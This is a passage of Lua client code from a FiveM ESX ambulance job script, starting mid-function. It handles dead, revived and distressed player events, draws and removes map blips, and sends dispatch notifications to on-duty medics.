print("[^2INFO^7] Removing dead blip - ^5" .. tostring(playerId).. "^7") 506 | end 507 | RemoveBlip(v) 508 | deadPlayerBlips[playerId] = nil 509 | end 510 | 511 | isOnDuty = false 512 | end 513 | end) 514 | 515 | RegisterNetEvent('esx_ambulancejob:PlayerDead') 516 | AddEventHandler('esx_ambulancejob:PlayerDead', function(Player) 517 | if Config.Debug then 518 | print("[^2INFO^7] Player Dead | ^5" .. tostring(Player) .. "^7") 519 | end 520 | deadPlayers[Player] = "dead" 521 | end) 522 | 523 | RegisterNetEvent('esx_ambulancejob:PlayerNotDead') 524 | AddEventHandler('esx_ambulancejob:PlayerNotDead', function(Player) 525 | if deadPlayerBlips[Player] then 526 | RemoveBlip(deadPlayerBlips[Player]) 527 | deadPlayerBlips[Player] = nil 528 | end 529 | if Config.Debug then 530 | print("[^2INFO^7] Player Alive | ^5" .. tostring(Player) .. "^7") 531 | end 532 | deadPlayers[Player] = nil 533 | end) 534 | 535 | RegisterNetEvent('esx_ambulancejob:setDeadPlayers') 536 | AddEventHandler('esx_ambulancejob:setDeadPlayers', function(_deadPlayers) 537 | deadPlayers = _deadPlayers 538 | 539 | if isOnDuty then 540 | for playerId,v in pairs(deadPlayerBlips) do 541 | RemoveBlip(v) 542 | deadPlayerBlips[playerId] = nil 543 | end 544 | 545 | for playerId,status in pairs(deadPlayers) do 546 | if Config.Debug then 547 | print("[^2INFO^7] Player Dead | ^5" .. tostring(playerId) .. "^7") 548 | end 549 | if status == 'distress' then 550 | if Config.Debug then 551 | print("[^2INFO^7] Creating Distress Blip for Player - ^5" .. tostring(playerId) .. "^7") 552 | end 553 | local player = GetPlayerFromServerId(playerId) 554 | local playerPed = GetPlayerPed(player) 555 | local blip = AddBlipForEntity(playerPed) 556 | 557 | SetBlipSprite(blip, 303) 558 | SetBlipColour(blip, 1) 559 | SetBlipFlashes(blip, true) 560 | SetBlipCategory(blip, 7) 561 | 562 | BeginTextCommandSetBlipName('STRING') 563 | AddTextComponentSubstringPlayerName(TranslateCap('blip_dead')) 564 | EndTextCommandSetBlipName(blip) 565 | 566 | deadPlayerBlips[playerId] = blip 567 | end 568 | end 569 | end 570 | end) 571 | 572 | 573 | RegisterNetEvent('esx_ambulancejob:PlayerDistressed') 574 | AddEventHandler('esx_ambulancejob:PlayerDistressed', function(Player) 575 | deadPlayers[Player] = 'distress' 576 | 577 | if isOnDuty then 578 | if Config.Debug then 579 | print("[^2INFO^7] Player Distress Recived - ID:^5" .. tostring(Player) .. "^7") 580 | end 581 | ESX.ShowNotification("[DISPATCH]: An Unconscious Person Has Been Reported", "error", 10000) 582 | deadPlayerBlips[Player] = nil 583 | local player = GetPlayerFromServerId(Player) 584 | local playerPed = GetPlayerPed(player) 585 | local blip = AddBlipForEntity(playerPed) 586 | 587 | SetBlipSprite(blip, Config.DistressBlip.Sprite) 588 | SetBlipColour(blip, Config.DistressBlip.Color) 589 | SetBlipScale(blip, Config.DistressBlip.Scale) 590 | SetBlipFlashes(blip, true) 591 | 592 | BeginTextCommandSetBlipName('STRING') 593 | AddTextComponentSubstringPlayerName(TranslateCap('blip_dead')) 594 | EndTextCommandSetBlipName(blip) 595 | 596 | deadPlayerBlips[Player] = blip 597 | end 598 | end) 599 | 600 | --------------------------------------------------------------------------------